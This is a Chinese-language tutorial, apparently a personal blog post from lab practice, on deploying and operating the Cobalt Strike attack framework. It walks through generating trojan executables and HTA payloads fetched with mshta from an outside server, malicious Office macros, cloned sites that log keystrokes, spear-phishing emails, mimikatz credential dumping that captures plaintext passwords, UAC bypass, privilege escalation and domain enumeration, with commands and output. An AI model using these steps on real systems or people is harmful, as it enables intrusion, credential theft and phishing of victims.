Cobalt strike的安装与使用

Cobalt Strike 要求 Oracle Java 1.8,Oracle Java 11, 或 OpenJDK 11

安装

Windows客户端的安装

安装windows10虚拟机(防止中毒,也可直接安装在本机,方便很多) :配java环境 安装cs服务端

管理员身份运行powshell:

1
2
3
./Keytool.exe -keystore ./cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias cobaltstrike -dname "CN=Major Cobalt Strike,OU=AdvancedPenTesting,O=cobaltstrike, L=Somewhere, S=Cyberspace, C=Earth"

.\teamserver.bat 192.168.245.2 123456 //先ipconfig看一下本机ip
image-20230104160436912

linux服务端

Cobalt Strike 团队服务器必须在受支持的 Linux 系统上运行,以root身份运行

1
2
chmod 755 teamserver    //给服务器端运行权限
./teamserver 45.77.20.229 12345678 //192.168.245.132是服务器的内网地址(linux地址),123456是设置的密码

image-20230104161324649

都配置完成后就可以回到windows客户端,点击运行bat文件(这里踩了个坑,服务端客户端版本不一致连不上)

image-20230104162009604

换成一致的4.0版本后成功连接

image-20230104162535570

创建监听器
Listner(监听器):专门用于对其他对象身上发生的事件或状态改变进行监听和相应处理的对象,当被监视的对象发生情况时,立即采取相应的行动。

在这里插入图片描述

点击Cobalt Strike -> Listeners->Add,其中内置了八个Listener

其中beacon为内置监听器,包括dns、http、https、smb四种方式的监听器; foreign为外部监听器,配合Metasploit或者Armitage的监听器;“External C2”,创造隐蔽的C2通道。即支持:HTTP/HTTPS以及DNS协议。

示例

在这里插入图片描述

点击save即创建成功

beacon命令

help 查看beacon shell所有内置命令帮助,如果想查看指定命令的用法,可以这样help upload

note 给当前目录机器起个名字, note beacon-shell

cd在目标系统中切换目录,注意在win系统中切换目录要用双反斜杠,或者直接用’/’ cd c:

mkdir 新建目录, mkdir d:beacon

rm 删除文件或目录, rm d:beacon

upload 上传文件到目标系统中

download从目标系统下载指定文件, download C:Userswin7cnDesktopputty.exe

cancel取消下载任务,比如,一个文件如果特别大,下载可能会非常耗时,假如中途你不想继续下了,就可以用这个取消一下

shell在目标系统中执行指定的cmd命令, shell whoami

getuid 查看当前beacon 会话在目标系统中的用户权限,可能需要bypassuac或者提权

pwd查看当前在目录系统中的路径

ls列出当前目录下的所有文件和目录

drives列表出目标系统的所有分区[win中叫盘符]

ps查看目标系统当前的所有的进程列表

kill杀掉指定进程, kill 4653

sleep 10指定被控端休眠时间, 默认60秒一次回传, 让被控端每10秒来下载一次任务, 实际中频率不宜过快, 容易被发现, 80左右一次即可

jobs列出所有的任务列表,有些任务执行时间可能稍微较长,此时就可以从任务列表中看到其所对应的具体任务id,针对性的清除

jobkill如果发现任务不知是何原因长时间没有执行或者异常,可尝试用此命令直接结束该任务, jobkill 1345

clear清除beacon内部的任务队列

checkin强制让被控端回连一次

exit 终止当前beacon 会话

ctrl + k 清屏

攻击手段
生成木马

以生成的exe远控木马为例:

点击Attacks->Packages->Windows Executable(s),选择对应的监听器

在这里插入图片描述

点击生成的木马文件即上线

image-20230104210808106

cobalt strike为了维持连接,会每60秒发送一次连接,但是如果使用的话60秒会造成卡顿, 上线后将默认心跳包改成0s,

修改方法:右键弹出的内容下拉菜单中选择session->sleep,弹出的对话框中输入0,单击确定

或直接在beacon命令行里输入sleep 0

在这里插入图片描述

获取自己需要的信息

image-20230104211146525

HTML Application

点击Attacks->Packages->HTML Application,选择对应的监听器,方法这里有三种(executable/VBA/powershell),选择powershell,点击Generate生成,选择生成的路径及文件名保存即可。

image-20230105103304653

image-20230105103343948

开启web服务

点击Attacks->Web Drive-by->Host File,选择刚刚生成的木马evil.hta,点击Launch生成下载链接

image-20230105103430533 image-20230105101708192

访问下载木马文件

image-20230105103536068

运行木马

打开受害机cmd,运行mshta命令。mshta.exe是微软Windows操作系统相关程序,用于执行.HTA文件。

1
mshta http://45.77.20.229/download/file.ext

上线

image-20230105102738447
克隆网站

我的java环境有问题,烦死了,换了个java版本也不行

image-20230106214548145

用户键盘输入的信息都可以在web日志中看到

image-20211201163859793

microsoft 宏

img

不关防火墙保存不了,但可以直接执行,虽然也会检测到,但还是可以上线

image-20230106224059530

将此文档保存为可以执行宏的格式,这里保存的为Doc1.docm

image-20230109110458850

在自己电脑上打开此文件,即可在cs中看到自己上线的主机

信息收集

image-20230108202436425

建立一个钓鱼页面去收集用户信息,其中主机地址和端口就是TeamServerIP和端口,RedirectUrl就是点击后跳转的URL,可以填一个大型网站,底下的使用JavaApplet复选框也已经过时对于受害者系统版本较低的情况下可以使用,点击开始后会生成URL,只要诱导用户访问即上线

用户访问后跳转到百度,在 视图->应用信息 可以看到收集的信息

image-20230108202227397 image-20230108202330601

能够看到目标使用的浏览器版本、系统版本等信息了,知道了版本信息,就能够进一步知道目标上可能存在什么漏洞。

钓鱼邮件

鱼叉式网络钓鱼攻击针对特定组织内的特定目标个体,相对于普通钓鱼攻击来说针对的目标更加精准,所以形象的成为鱼叉钓鱼攻击

当进行攻击的骇客锁定目标后,会以电子邮件的方式,假冒该公司或组织的名义寄发难以辨真伪之档案,诱使员工进一步登录其账号密码,使攻击者可以以此借机安装特洛伊木马或其他间谍软件,窃取机密;或于员工时常浏览之网页中置入病毒自动下载器,并持续更新受感染系统内之变种病毒,使使用者穷于应付。由于鱼叉式网络钓鱼锁定之对象并非一般个人,而是特定公司、组织之成员,故受窃之资讯已非一般网络钓鱼所窃取之个人资料,而是其他高度敏感性资料,如知识产权及商业机密

比较常见的鱼叉攻击就是发钓鱼邮件攻击,接下来使用CS来进行演示

image-20211202174355081

基本步骤

  1. 创建一个目标清单

  2. 制作一个邮件模板或者使用之前制作好的模板,制作克隆网站

  3. 选择一个用来发送邮件的邮件服务器

  4. 发送邮件

1.创建目标清单
目标清单就是一个包含多个邮箱地址的txt文本文件,每行包含一个目标

1
2
test@163.com	Victim
test2@163.com Victim2

前面的部分为后面的部分为对于受害者的备注信息,中间用tab键分隔
这样一个目标清单制作好了

2.制作邮件模板

在邮箱中找到合适的邮件,选择显示邮件原文,复制另存为txt文件就行

image-20230109132944986 image-20230109132843786

3.选择邮件服务器

我这里直接使用的163的邮箱(手动开启SMTP POP3服务全开)

image-20211202195115072

4.发送邮件

image-20211202181501438

EmbedURL 选择生成的克隆网站链接

BounceTo,Bounce To为退回邮件接收地址,注意要和配置邮件服务器时填的邮箱一致

Preview按钮可以查看邮件模块效果

设置邮箱信息

image-20230109132051940

注意:该密码非邮箱密码,而是开启stmp服务时授权码,使用SSL,163邮箱的25端口可能会连不通,用465端口

send

image-20230109133241835

收到钓鱼邮件

image-20230109131658056

点击链接跳转到设置的url

可以拓展很多其他用法,比如带上木马附件,跳转链接为恶意链接等……

凭证和哈希获取

想要获取凭证信息,可以在管理员权限的会话处右击选择Access --> Dump Hashes,或者在控制台中使用hashdump命令。

image-20220214112235725

想获取当前用户的密码,可以运行mimikatz,右击管理员权限会话选择Access --> Run Mimikatz,或在控制台运行logonpasswords命令。

image-20220214112328803

View --> Credentials下可以查看到hashdumpmimikatz获取的数据。

image-20220214112354732

Mimikatz

在 Beacon 中集成了 mimikatz ,mimikatz 执行命令有三种形式:

1
2
3
mimikatz [module::command] <args> 运行 mimikatz 命令
mimikatz [!module::command] <args>强制提升到 SYSTEM 权限再运行命令,因为一些命令只有在 SYSTEM 身份下才能被运行
mimikatz [@module::command] <args>使用当前 Beacon 的访问令牌运行 mimikatz 命令

下面是一些mimikatz命令

1
2
3
4
5
6
7
!lsadump::cache 获取缓存凭证,默认情况下 Windows 会缓存最近10个密码哈希
!lsadump::sam 获取本地账户密码哈希,该命令与 hashdump 比较类似
misc::cmd 如果注册表中禁用了 CMD ,就重新启用它
!misc::memssp 注入恶意的 Windows SSP 来记录本地身份验证凭据,这个凭证存储在“C:\windows\system32\mimilsa.log”中
misc::skeleton 该命令仅限域内使用。该命令会给所有域内用户添加一个相同的密码,域内所有的用户都可以使用这个密码进行认证,同时原始密码也可以使用,其原理是对 lsass.exe 进行注入,重启后会失效。
process::suspend [pid] 挂起某个进程,但是不结束它
process::resume [pid] 恢复挂起的进程

以上的这些只是mimikatz能做事情的一小部分,下面看看!misc::memssp的使用。

1
2
3
4
mimikatz !misc::memssp
cd C:\Windows\system32
shell dir mimilsa.log
shell type mimilsa.log

详细运行过程:

首先运行mimikatz !misc::memssp

1
2
3
4
5
beacon> mimikatz !misc::memssp
[*] Tasked beacon to run mimikatz's !misc::memssp command
[+] host called home, sent: 1006151 bytes
[+] received output:
Injected =)

接下来来到C:\Windows\system32目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
beacon> cd C:\Windows\system32
[*] cd C:\Windows\system32
[+] host called home, sent: 27 bytes

beacon> shell dir mimilsa.log
[*] Tasked beacon to run: dir mimilsa.log
[+] host called home, sent: 46 bytes
[+] received output:
驱动器 C 中的卷没有标签。
卷的序列号是 BE29-9C84

C:\Windows\system32 的目录

2020/07/23 21:47 24 mimilsa.log
1 个文件 24 字节
0 个目录 17,394,728,960 可用字节

可以看到是存在mimilsa.log文件的,此时待目标主机重新登录,比如电脑锁屏后用户进行登录。

查看mimilsa.log文件内容。

1
2
3
4
5
6
beacon> shell type mimilsa.log
[*] Tasked beacon to run: type mimilsa.log
[+] host called home, sent: 47 bytes
[+] received output:
[00000000:000003e5] \
[00000000:002b99a7] WIN-75F8PRJM4TP\Administrator Password123!

成功获取到当前登录用户的明文密码。

提权

自 Windows vista 开始,Windows 系统引进了用户账户控制机制,即 UACUser Account Control机制,UAC 机制在 Win 7中得到了完善。UAC 与 UNIX 中的 sudo 工作机制十分相似,平时用户以普通权限工作,当用户需要执行特权操作时,系统会询问他们是否要提升权限。

此时系统用户可分为以下三种等级:

高:管理员权限

中:一般用户权限

低:受限制的权限

使用whoami /groups命令可以看到当前用户所在的组以及权限,使用net localgroup administrators可以查看当前在管理员组里的用户名。

提权操作

当某些操作需要管理员权限,而当前用户权限只有一般用户权限时,就需要提权操作了。

在 CS 中有以下几种提权操作:

bypassuac:将本地中级管理员权限提升至本地高级管理员权限,适用于Win 7 及以上的系统。

elevate:将任意用户的权限提升至系统权限,适用于2018年11月更新之前的 Win 7 和 Win 10 系统。

getsystem:将本地高级管理员权限提升至系统权限。

runas:使用其他用户的凭证来以其他用户身份运行一个命令,该命令不会返回任何输出。

spawnas:使用其他用户的凭证来以其他用户身份派生一个会话,这个命令派生一个临时的进程并将 payload stage 注入进那个进程

Spawn As

image-20230110121933496

首先,右击待提权的会话,选择Access --> Spawn As,输入目标系统用户身份信息,其中域信息填写一个“点”代表本地用户,监听器这里选择的 SMB 监听器,之后点击运行就能看到对应的用户上线了。

Bypass UAC

Bypass UAC 有两个步骤,分别是:

1、利用 UAC 漏洞来获取一个特权文件副本

2、使用 DLL 劫持进行代码执行

首先使用shell whoami /groups查看当前上线主机用户的所属组及 UAC 等级

image-20230110122103644

通过返回信息可以看出,当前用户为管理员权限,UAC 等级为中,此时可以使用bypassuac进行提权。

首先,右击会话,选择Access --> Elevate,这里选择一个 SMB Beacon,Exploit 选择uac-token-duplication,最后 Launch 即可。

待 Beacon Check in 后,当前用户 UAC 为高权限的会话便会上线了

例:

由于CS自带的提权方式较少,因此这里就先加载一些网上的提权脚本,脚本下载地址:https://github.com/rsmudge/ElevateKit

下载之后,打开Cobalt Strike --> Script Manager ,之后点击Load,选择自己刚才下载的文件中的elevate.cna文件

接着选择要提权的主机,右击选择Access --> Elevate,Listener中选择刚才新建的SMB Beacon,这里的Exploit选择了ms14-058,如果使用ms14-058不能提权,就换一个Exploit进行尝试

image-20230110121145989

顺利的情况下,就可以看到提权后的管理员权限会话了,在管理员权限的会话中,不光用户名后有个*号,其Logo也是和其他会话不同的

image-20230110120942138

PowerUp

PowerUp 所做的事是寻找可能存在弱点的地方,从而帮助提权。

利用 PowerUp 进行提权需要首先导入 ps1 文件powershell-import PowerUp.ps1,再执行powershell Invoke-AllChecks命令,使用 PowerUp 脚本可以快速的帮助我们发现系统弱点,从而实现提权的目的。

其中PowerUp.ps1文件可从这里下载:https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc(opens new window)

PowerUp 的使用

执行以下命令:将 ps1 文件上传到目标主机,并执行所有弱点检查。

1
2
powershell-import PowerUp.ps1
powershell invoke-allchecks

详细运行过程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
beacon> powershell-import PowerUp.ps1
[*] Tasked beacon to import: PowerUp.ps1
[+] host called home, sent: 275084 bytes

beacon> powershell invoke-allchecks
[*] Tasked beacon to run: invoke-allchecks
[+] host called home, sent: 313 bytes
[+] received output:
[*] Running Invoke-AllChecks
[+] Current user already has local administrative privileges!
[*] Checking for unquoted service paths...

[*] Checking service executable and argument permissions...
[+] received output:
ServiceName : AeLookupSvc
Path : C:\Windows\system32\svchost.exe -k netsvcs
ModifiableFile : C:\Windows\system32
ModifiableFilePermissions : GenericAll
ModifiableFileIdentityReference : BUILTIN\Administrators
StartName : localSystem
AbuseFunction : Install-ServiceBinary -Name 'AeLookupSvc'
CanRestart : True
……内容太多,此处省略……

[*] Checking service permissions...
[+] received output:
ServiceName : AeLookupSvc
Path : C:\Windows\system32\svchost.exe -k netsvcs
StartName : localSystem
AbuseFunction : Invoke-ServiceAbuse -Name 'AeLookupSvc'
CanRestart : True
……内容太多,此处省略……

[*] Checking %PATH% for potentially hijackable DLL locations...
[+] received output:
Permissions : GenericAll
ModifiablePath : C:\Windows\system32\WindowsPowerShell\v1.0\
IdentityReference : BUILTIN\Administrators
%PATH% : %SystemRoot%\system32\WindowsPowerShell\v1.0\
AbuseFunction : Write-HijackDll -DllPath 'C:\Windows\system32\WindowsPowerS
hell\v1.0\\wlbsctrl.dll'
……内容太多,此处省略……

[*] Checking for AlwaysInstallElevated registry key...
[*] Checking for Autologon credentials in registry...

[*] Checking for modifidable registry autoruns and configs...
[+] received output:
Key : HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\VMware Use
r Process
Path : "C:\Program Files\VMware\VMware Tools\vmtoolsd.exe" -n vmusr
ModifiableFile : @{Permissions=System.Object[]; ModifiablePath=C:\Program Files
\VMware\VMware Tools\vmtoolsd.exe; IdentityReference=BUILTIN\A
dministrators}
……内容太多,此处省略……

[*] Checking for modifiable schtask files/configs...
[+] received output:
TaskName : GoogleUpdateTaskMachineCore
TaskFilePath : @{Permissions=System.Object[]; ModifiablePath=C:\Program Files (
x86)\Google\Update\GoogleUpdate.exe; IdentityReference=BUILTIN\A
dministrators}
TaskTrigger : <Triggers xmlns="http://schemas.microsoft.com/windows/2004/02/mi
t/task"><LogonTrigger><Enabled>true</Enabled></LogonTrigger><Cal
endarTrigger><StartBoundary>2020-04-11T21:47:44</StartBoundary><
ScheduleByDay><DaysInterval>1</DaysInterval></ScheduleByDay></Ca
lendarTrigger></Triggers>
……内容太多,此处省略……
[*] Checking for unattended install files...
UnattendPath : C:\Windows\Panther\Unattend.xml

[*] Checking for encrypted web.config strings...
[*] Checking for encrypted application pool and virtual directory passwords...
[*] Checking for plaintext passwords in McAfee SiteList.xml files....
[+] received output:
[*] Checking for cached Group Policy Preferences .xml files....
[+] received output:

如果在自己的靶机上发现导入ps1文件失败,这可能是因为系统不允许执行不信任的脚本文件导致的。

以管理员权限打开 Powershell,运行set-ExecutionPolicy RemoteSigned,输入Y回车,此时系统便能导入PowerUp.ps1文件了

1
2
3
4
5
6
PS C:\WINDOWS\system32> set-ExecutionPolicy RemoteSigned
执行策略更改
执行策略可帮助你防止执行不信任的脚本。更改执行策略可能会产生安全风险,如 https:/go.microsoft.com/fwlink/?LinkID=135170
中的 about_Execution_Policies 帮助主题所述。是否要更改执行策略?
[Y] 是(Y) [A] 全是(A) [N] 否(N) [L] 全否(L) [S] 暂停(S) [?] 帮助 (默认值为“N”): Y
PS C:\WINDOWS\system32>

在运行Invoke-AllChecks后,便会列出当前系统中可被提权的弱点之处,之后再执行检查结果中AbuseFunction下的命令便能开始提权操作了。

但是我在自己本地环境中并未复现成功,执行AbuseFunction后的命令只能创建一个与当前登录用户相同权限的账户,没能达到提权的目的。

MSF 与 CS 的结合利用

如果想使用MSF对目标进行漏洞利用,再通过这个漏洞来传输Beacon的话,也是可以的。

1、首先在MSF上选择攻击模块

2、接着在MSF上设置Payload为windows/meterpreter/reverse_http或者windows/meterpreter/reverse_https,这么做是因为CS的Beacon与MSF的分阶段协议是相兼容的

3、之后在MSF中设置Payload的LHOST、LPORT为CS中Beacon的监听器IP及端口

4、然后设置 DisablePayloadHandler 为 True,此选项会让 MSF 避免在其内起一个 handler 来服务你的 payload 连接,也就是告诉MSF说我们已经建立了监听器,不必再新建监听器了

5、再设置 PrependMigrate 为 True,此选项让 MSF 前置 shellcode 在另一个进程中运行 payload stager。如果被利用的应用程序崩溃或被用户关闭,这会帮助 Beacon 会话存活

6、最后运行exploit -j,-j 是指作为job开始运行,即在后台运行

操作

在CS中新建一个HTTP Beacon,创建过程不再赘述。

1、在MSF中选择攻击模块,根据教程这里选择的adobe_flash_hacking_team_uaf模块,不过个人感觉现在这个模块已经不太能被利用成功了

1
use exploit/multi/browser/adobe_flash_hacking_team_uaf

2、接着配置payload,这里选择revese_http payload

1
2
3
set payload windows/meterpreter/revese_http
set LHOST cs_server_ip
set LPORT 80

3、之后,配置DisablePayloadHandlerPrependMigrate为 True

1
2
set DisablePayloadHandler True
set PrependMigrate True

4、最后,开始攻击。

1
exploit -j
横向扩展

1、Windows 企业局域网环境介绍

活动目录

活动目录Active Directory是一种能够集中管理用户、系统和策略的技术,活动目录的一个重要概念就是

Active Directory 存储有关网络上对象的信息,并让管理员和用户可以更容易地使用这些信息。例如 Active Directory 域服务即 AD DS 存储着有关用户账户的信息,并且使同一网络下的其他授权用户可以访问此信息。

Domain即是一个管理员或者说是网络边界,在域里的用户和系统都是通过 AD进行管理的。

在域里,如果想控制服务器进行操作就需要取得域的信任。

域控制器

域控制器Domain Controller顾名思义就是一个对域里的用户和系统进行身份验证的一个系统。

本地用户

本地用户Local User就是系统上的一个标准用户。

当我们想在 Windows 命令行下指定一个本地的用户时,可以通过输入 .\本地用户名或者 计算机名\本地用户名来指定本地的用户账户,其中.表示计算机名。

域用户

域用户Domain User是指域控制器下的用户,如果想指定域用户,可以输入域名\域用户名

本地管理员

本地管理员Local Administrator即是指在本地系统有管理权限的用户。

域管理员

域管理员Domain Administrator是指在域控制器上有管理权限的用户。

注意:在 Cobalt Strike 中运行只需要根据命令类型在命令前加上 shell 或者 powershell 即可

2、主机和用户枚举

主机枚举

一些问题

当进入目标局域网时,需要弄清楚几个问题。

1、我正处在那个域上?

2、域信任关系是什么样的?

3、可以登陆哪些域?这些域上有哪些系统?目标是什么?可以获取什么?

4、系统上存放共享数据的地方在哪里?

一些枚举的命令

  • net view /domain

    枚举出当前域

1
2
3
4
5
PS C:\> net view /domain
Domain
-------------------------
TEAMSSIX
命令成功完成。
  • net view /domain:[domain]net group "domain computers" /domain

    net view /domain:[domain]枚举域上一个主机的列表,但不是所有主机,这个也就是在网上邻居中可以看到的内容。

    net group "domain computers" /domain可以获得加入到这个域中的电脑账户列表。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
PS C:\> net view /domain:teamssix
服务器名称 注解
----------------------------------
\\WIN-72A8ERDSF2P
\\WIN-P2AASSD1AF1
命令成功完成。

PS C:\> net group "domain computers" /domain
组名 Domain Computers
注释 加入到域中的所有工作站和服务器
成员
----------------------------------------------
WIN-72A8ERDSF2P$
命令成功完成。
  • nltest /dclist:[domain]

    如果想找到那个主机是域的域控服务器,可以使用nltest命令

1
2
3
4
PS C:\> nltest /dclist:teamssix
获得域“teamssix”中 DC 的列表(从“\\WIN-P2AASSD1AF1”中)。
WIN-P2AASSD1AF1.teamssix.com [PDC] [DS] 站点: Default-First-Site-Name
此命令成功完成

当使用 32 位的 payload 运行在 64 位的系统上,并且 nltest 路径不对的时候,可能会提示没有 nltest 这个命令,这时可以尝试使用下面的命令为其指定路径

1
2
3
4
PS C:\> C:\windows\sysnative\nltest /dclist:teamssix
获得域“teamssix”中 DC 的列表(从“\\WIN-P2AASSD1AF1”中)。
WIN-P2AASSD1AF1.teamssix.com [PDC] [DS] 站点: Default-First-Site-Name
此命令成功完成
  • nslookup [name]ping -n 1 -4 [name]

    有时在 Cobalt Strike 里,我们只需要使用目标的 NetBIOS 名称,而不用在意使用 IPv4 地址或者 IPv6 地址,NetBIOS 名称是在域上每台机器的完整名称

    但是如果想通过一个 IPv4 地址转换为一个 NetBIOS 名称,可以使用 nslookup 命令,或者使用 ping 发送一个包来获得主机返回的 IP 地址

1
2
3
4
5
6
7
8
9
10
11
12
13
PS C:\> nslookup WIN-P2AASSD1AF1
服务器: UnKnown
Address: ::1
名称: WIN-P2AASSD1AF1.teamssix.com
Address: 192.168.15.124

PS C:\> ping -n 1 -4 WIN-P2AASSD1AF1
正在 Ping WIN-P2AASSD1AF1.teamssix.com [192.168.15.124] 具有 32 字节的数据:
来自 192.168.15.124 的回复: 字节=32 时间<1ms TTL=128
192.168.15.124 的 Ping 统计信息:
数据包: 已发送 = 1,已接收 = 1,丢失 = 0 (0% 丢失),
往返行程的估计时间(以毫秒为单位):
最短 = 0ms,最长 = 0ms,平均 = 0ms
  • nltest /domain_trustsnltest /server:[address] /domain_trusts

    如果想取得域上的信任关系,可以使用 nltest 命令来实现

1
2
3
4
5
6
7
8
9
PS C:\> nltest /domain_trusts
域信任的列表:
0: TEAMSSIX teamssix.com (NT 5) (Forest Tree Root) (Primary Domain) (Native)
此命令成功完成

PS C:\> nltest /server:192.168.15.124 /domain_trusts
域信任的列表:
0: TEAMSSIX teamssix.com (NT 5) (Forest Tree Root) (Primary Domain) (Native)
此命令成功完成
  • net view \\[name]

    如果想列出主机上的共享列表,只需输入net view \\[name]即可

1
2
3
4
5
6
PS C:\> net view \\WIN-P2AASSD1AF1
在 \\WIN-75F8PRJM4TP 的共享资源
共享名 类型 使用为 注释
----------------------------------
Users Disk
命令成功完成。

PowerView

在渗透进入内网后,如果直接使用 Windows 的内置命令,比如 net view、net user等,可能就会被管理人员或者各种安全监控设备所发现。因此较为安全的办法就是使用 Powershell 和 VMI 来进行躲避态势感知的检测。

PowerView 是由 Will Schroeder 开发的 PowerShell 脚本,该脚本完全依赖于 Powershell 和 VMI ,使用 PowerView 可以更好的收集内网中的信息,在使用之前,与上一节 PowerUp 的一样需要先 import 导入 ps1 文件。

PowerView 下载地址:https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon

一些 PowerView 的命令:

  • Get-NetDomain

    查询本地域的信息

1
2
3
4
5
6
7
8
9
10
PS C:\PowerView> Get-NetDomain
Forest : teamssix.com
DomainControllers : {WIN-P2AASSD1AF1.teamssix.com}
Children : {}
DomainMode : Windows2012Domain
Parent :
PdcRoleOwner : WIN-P2AASSD1AF1.teamssix.com
RidRoleOwner : WIN-P2AASSD1AF1.teamssix.com
InfrastructureRoleOwner : WIN-P2AASSD1AF1.teamssix.com
Name : teamssix.com
  • Invoke-ShareFinder

    查找网络上是否存在共享

1
2
3
4
5
6
PS C:\PowerView> Invoke-ShareFinder
\\WIN-P2AASSD1AF1.teamssix.com\ADMIN$ - 远程管理
\\WIN-P2AASSD1AF1.teamssix.com\C$ - 默认共享
\\WIN-P2AASSD1AF1.teamssix.com\IPC$ - 远程 IPC
\\WIN-P2AASSD1AF1.teamssix.com\NETLOGON - Logon server share
\\WIN-P2AASSD1AF1.teamssix.com\SYSVOL - Logon server share
  • Invoke-MapDomainTrust

    显示当前域的信任关系

1
PS C:\PowerView> Invoke-MapDomainTrust

其他更多用法可以参考 PowerView 项目上的 ReadMe 部分

Net 模块

Cobalt Strike 中有自己的 net 模块,net 模块是 beacon 后渗透攻击模块,它通过 windows 的网络管理 api 函数来执行命令,想使用 net 命令,只需要在 beacon 的控制中心输入 net + 要执行的命令即可。

1
2
3
4
5
net dclist : 列出当前域的域控制器
net dclist [DOMAIN] : 列出指定域的域控制器
net share \\[name] : 列出目标的共享列表
net view : 列出当前域的主机
net view [DOMAIN] : 列出指定域的主机

在 beacon 控制台中输入这些命令很类似输入一个本地的 net 命令,但是有一些些许的不同,比如下面一个是在主机上运行 net view 的结果一个是在 beacon 控制台下运行 net view 的结果。不难看出,beacon 下输出的结果更为丰富。

1
2
3
4
5
PS C:\> net view
服务器名称 注解
-------------------------------------------
\\WIN-P2AASSD1AF1
命令成功完成。
1
2
3
4
5
6
7
8
beacon> net view
[*] Tasked beacon to run net view
[+] host called home, sent: 104504 bytes
[+] received output:
List of hosts:
Server Name IP Address Platform Version Type Comment
----------- ---------- -------- ------- ---- -------
WIN-P2AASSD1AF1 192.168.15.124 500 6.1 PDC
用户枚举

用户枚举的三个关键步骤:

1、当前账号是否为管理员账号?

2、哪些账号是域管理员账号?

3、哪个账号是这个系统上的本地管理员账号?

管理员账号

第一个关键步骤,发现管理员账号。

如果想知道自己是否为管理员账号,可以尝试运行一些只有管理员账号才有权限操作的命令,然后通过返回结果判断是否为管理员。

其中一种方式是尝试列出仅仅只有管理员才能查看的共享列表,比如下面的 dir \\host\C$ 命令,如果可以看到一个文件列表,那么说明可能拥有本地管理员权限。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
shell dir \\host\C$

#管理员账号运行结果
beacon> shell dir \\WinDC\C$
[*] Tasked beacon to run: dir \\WinDC\C$
[+] host called home, sent: 55 bytes
[+] received output:
驱动器 \\WinDC\C$ 中的卷没有标签。
卷的序列号是 F269-89A7
\\WinDC\C$ 的目录
2020/06/24 09:29 <DIR> inetpub
2009/07/14 11:20 <DIR> PerfLogs
2020/07/16 21:24 <DIR> Program Files
2020/07/16 21:52 <DIR> Program Files (x86)
2020/07/17 23:00 <DIR> Users
2020/07/26 00:55 <DIR> Windows
0 个文件 0 字节
6 个目录 28,500,807,680 可用字节

#一般账号运行结果
beacon> shell dir \\WinDC\C$
[*] Tasked beacon to run: dir \\WinDC\C$
[+] host called home, sent: 55 bytes
[+] received output:
拒绝访问。

也可以运行其他命令,比如运行下面的 at 命令来查看系统上的计划任务列表,如果显示出了任务列表信息,那么可能是本地管理员。(当任务列表没有信息时会返回 “列表是空的” 提示)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
shell at \\host

#管理员账号运行结果
beacon> shell at \\WinDC
[*] Tasked beacon to run: at \\WinDC
[+] host called home, sent: 51 bytes
[+] received output:
状态 ID 日期 时间 命令行
-------------------------------------------------------------------------------
1 今天 22:30 E:\Install\Thunder\Thunder.exe

#一般账号运行结果
beacon> shell at \\WinDC
[*] Tasked beacon to run: at \\WinDC
[+] host called home, sent: 51 bytes
[+] received output:
拒绝访问。

在上一节讲述的 PowerView 有很多很好的自动操作来帮助解决这些问题。可以在加载 PowerView 后,运行下面的命令,通过 PowerView 可以快速找到管理员账号

1
2
3
4
5
6
7
8
9
10
11
powershell Find-LocalAdminAccess

beacon> powershell-import powerview.ps1
[*] Tasked beacon to import: powerview.ps1
[+] host called home, sent: 101224 bytes

beacon> powershell Find-LocalAdminAccess
[*] Tasked beacon to run: Find-LocalAdminAccess
[+] host called home, sent: 329 bytes
[+] received output:
WinDC.teamssix.com

域管理员账号

第二个关键步骤,发现域管理员账号。

列出域管理员

对于发现域管理员账号,可以在共享里使用本地的Windows命令。运行以下两条命令可以用来找出这些“域群组”的成员。

1
2
net group "enterprise admins" /DOMAIN
net group "domain admins" /DOMAIN
1
2
3
4
5
6
7
8
9
10
beacon> shell net group "enterprise admins" /domain
[*] Tasked beacon to run: net group "enterprise admins" /domain
[+] host called home, sent: 68 bytes
[+] received output:
组名 Enterprise Admins
注释 企业的指定系统管理员
成员
-------------------------------------------------------------------------------
Administrator
命令成功完成。
1
2
3
4
5
6
7
8
9
10
beacon> shell net group "domain admins" /domain
[*] Tasked beacon to run: net group "domain admins" /domain
[+] host called home, sent: 64 bytes
[+] received output:
组名 Domain Admins
注释 指定的域管理员
成员
-------------------------------------------------------------------------------
Administrator
命令成功完成。

或者运行下面的命令来看谁是域控制器上的管理员

1
net localgroup "administrators" /DOMAIN
1
2
3
4
5
6
7
8
9
10
11
12
13
beacon> shell net localgroup "administrators" /domain
[*] Tasked beacon to run: net localgroup "administrators" /domain
[+] host called home, sent: 70 bytes
[+] received output:
别名 administrators
注释 管理员对计算机/域有不受限制的完全访问权
成员
-------------------------------------------------------------------------------
administrator
Domain Admins
Daniel
Enterprise Admins
命令成功完成。

Net 模块

beacon 的 net 模块也可以帮助我们,下面的命令中 TARGET 的意思是一个域控制器或者是任何想查看的组名,比如企业管理员、域管理员等等

1
net group \\TARGET group name

也可以运行下面的命令,这会连接任意目标来获取列表

1
net localgroup \\TARGET group name

本地管理员

Net 模块

本地管理员可能是一个域账户,因此如果想把一个系统作为目标,应该找到谁是这个系统的本地管理员,因为如果获得了它的密码哈希值或者凭据就可以伪装成那个用户。

beacon 的 net 模块可以在系统上从一个没有特权的关联中查询本地组和用户。

在 beacon 控制台中运行下面命令可以获得一个目标上的群组列表

1
net localgroup \\TARGET

如果想获取群组的列表,可运行下面的命令来获得一个群组成员的名单列表。

1
net localgroup \\TARGET group name
1
2
3
4
5
6
7
8
9
beacon> net localgroup \\WinDC administrators
[*] Tasked beacon to run net localgroup administrators on WinDC
[+] host called home, sent: 104510 bytes
[+] received output:
Members of administrators on \\WinDC:
TEAMSSIX\Administrator
TEAMSSIX\Daniel
TEAMSSIX\Enterprise Admins
TEAMSSIX\Domain Admins

PowerView 模块

